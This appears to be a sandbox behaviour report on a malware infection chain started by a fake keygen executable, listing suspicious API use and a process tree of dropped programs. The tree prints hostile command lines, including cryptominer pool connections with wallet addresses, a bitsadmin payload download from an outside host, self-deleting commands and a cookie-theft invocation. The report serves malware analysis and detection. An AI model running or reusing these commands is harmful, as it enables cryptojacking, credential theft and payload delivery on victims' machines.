pid Process 1952 rundll32.exe 1952 rundll32.exe 988 svchost.exe 988 svchost.exe 2848 ultramediaburner.tmp 2848 ultramediaburner.tmp 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe 2360 Nymaewohoqo.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3024 Process not Found -
Suspicious behavior: MapViewOfSection 7 IoCs
pid Process 4232 MicrosoftEdgeCP.exe 4232 MicrosoftEdgeCP.exe 5064 c7ae36fa.exe 1336 hwtgcgh 4200 MicrosoftEdgeCP.exe 4200 MicrosoftEdgeCP.exe 5512 hwtgcgh -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeTcbPrivilege 988 svchost.exe Token: SeDebugPrivilege 1060 JoSetp.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 1952 rundll32.exe Token: SeDebugPrivilege 2284 Ultra.exe Token: SeAuditPrivilege 2416 svchost.exe Token: SeDebugPrivilege 736 Colilugaevae.exe Token: SeDebugPrivilege 2360 Nymaewohoqo.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe Token: SeSystemEnvironmentPrivilege 2752 svchost.exe Token: SeUndockPrivilege 2752 svchost.exe Token: SeManageVolumePrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe Token: SeSystemEnvironmentPrivilege 2752 svchost.exe Token: SeUndockPrivilege 2752 svchost.exe Token: SeManageVolumePrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe Token: SeSystemEnvironmentPrivilege 2752 svchost.exe Token: SeUndockPrivilege 2752 svchost.exe Token: SeManageVolumePrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2848 ultramediaburner.tmp -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 4076 xiuhuali.exe 4076 xiuhuali.exe 5016 MicrosoftEdge.exe 2184 google-game.exe 2184 google-game.exe 4232 MicrosoftEdgeCP.exe 4232 MicrosoftEdgeCP.exe 5596 MicrosoftEdge.exe 4200 MicrosoftEdgeCP.exe 4200 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4032 wrote to memory of 4076 4032 keygen-step-4.exe 75 PID 4032 wrote to memory of 4076 4032 keygen-step-4.exe 75 PID 4032 wrote to memory of 4076 4032 keygen-step-4.exe 75 PID 4076 wrote to memory of 1952 4076 xiuhuali.exe 77 PID 4076 wrote to memory of 1952 4076 xiuhuali.exe 77 PID 4076 wrote to memory of 1952 4076 xiuhuali.exe 77 PID 4032 wrote to memory of 1060 4032 keygen-step-4.exe 78 PID 4032 wrote to memory of 1060 4032 keygen-step-4.exe 78 PID 1952 wrote to memory of 988 1952 rundll32.exe 68 PID 1952 wrote to memory of 2596 1952 rundll32.exe 29 PID 988 wrote to memory of 3776 988 svchost.exe 79 PID 988 wrote to memory of 3776 988 svchost.exe 79 PID 988 wrote to memory of 3776 988 svchost.exe 79 PID 1952 wrote to memory of 68 1952 rundll32.exe 60 PID 1952 wrote to memory of 2484 1952 rundll32.exe 31 PID 1952 wrote to memory of 2416 1952 rundll32.exe 33 PID 1952 wrote to memory of 1120 1952 rundll32.exe 55 PID 1952 wrote to memory of 1032 1952 rundll32.exe 9 PID 1952 wrote to memory of 1448 1952 rundll32.exe 49 PID 1952 wrote to memory of 1896 1952 rundll32.exe 41 PID 1952 wrote to memory of 1268 1952 rundll32.exe 52 PID 1952 wrote to memory of 1316 1952 rundll32.exe 10 PID 1952 wrote to memory of 2752 1952 rundll32.exe 16 PID 1952 wrote to memory of 2760 1952 rundll32.exe 15 PID 4032 wrote to memory of 1080 4032 keygen-step-4.exe 81 PID 4032 wrote to memory of 1080 4032 keygen-step-4.exe 81 PID 4032 wrote to memory of 1080 4032 keygen-step-4.exe 81 PID 1080 wrote to memory of 3416 1080 Install.exe 82 PID 1080 wrote to memory of 3416 1080 Install.exe 82 PID 1080 wrote to memory of 3416 1080 Install.exe 82 PID 3416 wrote to memory of 2284 3416 Install.tmp 83 PID 3416 wrote to memory of 2284 3416 Install.tmp 83 PID 2284 wrote to memory of 3856 2284 Ultra.exe 88 PID 2284 wrote to memory of 3856 2284 Ultra.exe 88 PID 2284 wrote to memory of 3856 2284 Ultra.exe 88 PID 3856 wrote to memory of 2848 3856 ultramediaburner.exe 89 PID 3856 wrote to memory of 2848 3856 ultramediaburner.exe 89 PID 3856 wrote to memory of 2848 3856 ultramediaburner.exe 89 PID 2284 wrote to memory of 736 2284 Ultra.exe 90 PID 2284 wrote to memory of 736 2284 Ultra.exe 90 PID 2848 wrote to memory of 2256 2848 ultramediaburner.tmp 92 PID 2848 wrote to memory of 2256 2848 ultramediaburner.tmp 92 PID 2284 wrote to memory of 2360 2284 Ultra.exe 91 PID 2284 wrote to memory of 2360 2284 Ultra.exe 91 PID 4032 wrote to memory of 4176 4032 keygen-step-4.exe 93 PID 4032 wrote to memory of 4176 4032 keygen-step-4.exe 93 PID 4032 wrote to memory of 4176 4032 keygen-step-4.exe 93 PID 2360 wrote to memory of 4828 2360 Nymaewohoqo.exe 95 PID 2360 wrote to memory of 4828 2360 Nymaewohoqo.exe 95 PID 4828 wrote to memory of 5080 4828 cmd.exe 98 PID 4828 wrote to memory of 5080 4828 cmd.exe 98 PID 4828 wrote to memory of 5080 4828 cmd.exe 98 PID 4176 wrote to memory of 3348 4176 filee.exe 99 PID 4176 wrote to memory of 3348 4176 filee.exe 99 PID 4176 wrote to memory of 3348 4176 filee.exe 99 PID 4176 wrote to memory of 4464 4176 filee.exe 101 PID 4176 wrote to memory of 4464 4176 filee.exe 101 PID 4176 wrote to memory of 4676 4176 filee.exe 102 PID 4176 wrote to memory of 4676 4176 filee.exe 102 PID 4176 wrote to memory of 4676 4176 filee.exe 102 PID 2360 wrote to memory of 4108 2360 Nymaewohoqo.exe 103 PID 2360 wrote to memory of 4108 2360 Nymaewohoqo.exe 103 PID 4108 wrote to memory of 2184 4108 cmd.exe 105 PID 4108 wrote to memory of 2184 4108 cmd.exe 105
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1032 -
C:\Users\Admin\AppData\Roaming\hwtgcghC:\Users\Admin\AppData\Roaming\hwtgcgh2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1336
-
-
C:\Users\Admin\AppData\Roaming\hwtgcghC:\Users\Admin\AppData\Roaming\hwtgcgh2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5512
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1316
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2760
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2596
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2484
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2416
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1896
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1448
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1268
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1120
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:68
-
C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install3⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1060
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Users\Admin\AppData\Local\Temp\is-JN6Q0.tmp\Install.tmp"C:\Users\Admin\AppData\Local\Temp\is-JN6Q0.tmp\Install.tmp" /SL5="$50160,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Users\Admin\AppData\Local\Temp\is-NNB33.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-NNB33.tmp\Ultra.exe" /S /UID=burnerch14⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Program Files\Mozilla Firefox\WKMNERMOKV\ultramediaburner.exe"C:\Program Files\Mozilla Firefox\WKMNERMOKV\ultramediaburner.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Users\Admin\AppData\Local\Temp\is-HHMJ2.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-HHMJ2.tmp\ultramediaburner.tmp" /SL5="$401EA,281924,62464,C:\Program Files\Mozilla Firefox\WKMNERMOKV\ultramediaburner.exe" /VERYSILENT6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu7⤵
- Executes dropped EXE
PID:2256
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3b-3a10a-d77-06392-d2f5d023db7b1\Colilugaevae.exe"C:\Users\Admin\AppData\Local\Temp\3b-3a10a-d77-06392-d2f5d023db7b1\Colilugaevae.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:736
-
-
C:\Users\Admin\AppData\Local\Temp\6e-a94b6-fe0-18fa6-ecf086f8bc4df\Nymaewohoqo.exe"C:\Users\Admin\AppData\Local\Temp\6e-a94b6-fe0-18fa6-ecf086f8bc4df\Nymaewohoqo.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pfk2nebw.bxh\instEU.exe & exit6⤵
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\Users\Admin\AppData\Local\Temp\pfk2nebw.bxh\instEU.exeC:\Users\Admin\AppData\Local\Temp\pfk2nebw.bxh\instEU.exe7⤵
- Executes dropped EXE
PID:5080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0bhv23rv.myy\google-game.exe & exit6⤵
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Users\Admin\AppData\Local\Temp\0bhv23rv.myy\google-game.exeC:\Users\Admin\AppData\Local\Temp\0bhv23rv.myy\google-game.exe7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:2184 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install8⤵
- Loads dropped DLL
PID:2216
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tx31ig51.gru\md1_1eaf.exe & exit6⤵PID:4964
-
C:\Users\Admin\AppData\Local\Temp\tx31ig51.gru\md1_1eaf.exeC:\Users\Admin\AppData\Local\Temp\tx31ig51.gru\md1_1eaf.exe7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tgohco3v.wma\askinstall39.exe & exit6⤵PID:4884
-
C:\Users\Admin\AppData\Local\Temp\tgohco3v.wma\askinstall39.exeC:\Users\Admin\AppData\Local\Temp\tgohco3v.wma\askinstall39.exe7⤵
- Executes dropped EXE
PID:5124 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe8⤵PID:5496
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe9⤵
- Kills process with taskkill
PID:5944
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gbupw0i3.b02\y1.exe & exit6⤵PID:5320
-
C:\Users\Admin\AppData\Local\Temp\gbupw0i3.b02\y1.exeC:\Users\Admin\AppData\Local\Temp\gbupw0i3.b02\y1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5872 -
C:\Users\Admin\AppData\Local\Temp\bXcxvDQ0Jj.exe"C:\Users\Admin\AppData\Local\Temp\bXcxvDQ0Jj.exe"8⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3772 -
C:\Users\Admin\AppData\Roaming\1619467787940.exe"C:\Users\Admin\AppData\Roaming\1619467787940.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619467787940.txt"9⤵
- Executes dropped EXE
PID:5588
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\bXcxvDQ0Jj.exe"9⤵PID:2324
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 310⤵
- Runs ping.exe
PID:5188
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\gbupw0i3.b02\y1.exe"8⤵
- Blocklisted process makes network request
- Checks computer location settings
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Modifies registry class
PID:1596 -
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK9⤵
- Delays execution with timeout.exe
PID:544
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dp3cm45o.cjb\SunLabsPlayer.exe /S & exit6⤵PID:5920
-
C:\Users\Admin\AppData\Local\Temp\dp3cm45o.cjb\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\dp3cm45o.cjb\SunLabsPlayer.exe /S7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:5680 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:5200
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:4556
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:6116
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:5648
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:5620
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:4612
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵
- Checks for any installed AV software in registry
PID:5056
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z8⤵
- Download via BitsAdmin
PID:4884
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pc3LU0EfKa0zKJM3 -y x C:\zip.7z -o"C:\Program Files\temp_files\"8⤵
- Executes dropped EXE
PID:5952
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pPnmElQXTNHIIFt1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"8⤵
- Executes dropped EXE
PID:6008
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:5796
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:4608
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:6032
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:5896
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:1596
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\DpXBQZwjVvXI\DpXBQZwjVvXI.dll" DpXBQZwjVvXI8⤵
- Loads dropped DLL
PID:5528 -
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\DpXBQZwjVvXI\DpXBQZwjVvXI.dll" DpXBQZwjVvXI9⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
PID:5088
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵
- Drops file in Program Files directory
PID:5072
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:1336
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵
- Drops file in Program Files directory
PID:2380
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:3804
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszF68D.tmp\tempfile.ps1"8⤵PID:5916
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4184
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tgreqv23.ozg\inst.exe & exit6⤵PID:5140
-
C:\Users\Admin\AppData\Local\Temp\tgreqv23.ozg\inst.exeC:\Users\Admin\AppData\Local\Temp\tgreqv23.ozg\inst.exe7⤵
- Executes dropped EXE
PID:6108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ovksq4z0.zw5\GcleanerWW.exe /mixone & exit6⤵PID:5512
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5bt2d15z.ikv\app.exe /8-2222 & exit6⤵PID:4964
-
C:\Users\Admin\AppData\Local\Temp\5bt2d15z.ikv\app.exeC:\Users\Admin\AppData\Local\Temp\5bt2d15z.ikv\app.exe /8-22227⤵
- Executes dropped EXE
PID:5336 -
C:\Users\Admin\AppData\Local\Temp\5bt2d15z.ikv\app.exe"C:\Users\Admin\AppData\Local\Temp\5bt2d15z.ikv\app.exe" /8-22228⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5176
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g1dzne4z.f0a\c7ae36fa.exe & exit6⤵PID:4428
-
C:\Users\Admin\AppData\Local\Temp\g1dzne4z.f0a\c7ae36fa.exeC:\Users\Admin\AppData\Local\Temp\g1dzne4z.f0a\c7ae36fa.exe7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5064
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4176 -
C:\Users\Admin\AppData\Roaming\AF31.tmp.exe"C:\Users\Admin\AppData\Roaming\AF31.tmp.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3348 -
C:\Users\Admin\AppData\Roaming\AF31.tmp.exe"C:\Users\Admin\AppData\Roaming\AF31.tmp.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
PID:5012
-
-
-
C:\Users\Admin\AppData\Roaming\B1E2.tmp.exe"C:\Users\Admin\AppData\Roaming\B1E2.tmp.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:4464 -
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w7200@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999994⤵PID:184
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w12170 --cpu-max-threads-hint 50 -r 99994⤵
- Blocklisted process makes network request
PID:2784
-
-
-
C:\Users\Admin\AppData\Roaming\B398.tmp.exe"C:\Users\Admin\AppData\Roaming\B398.tmp.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4676
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"3⤵PID:4584
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.14⤵
- Runs ping.exe
PID:5052
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5232
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5140 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:3096
-
-
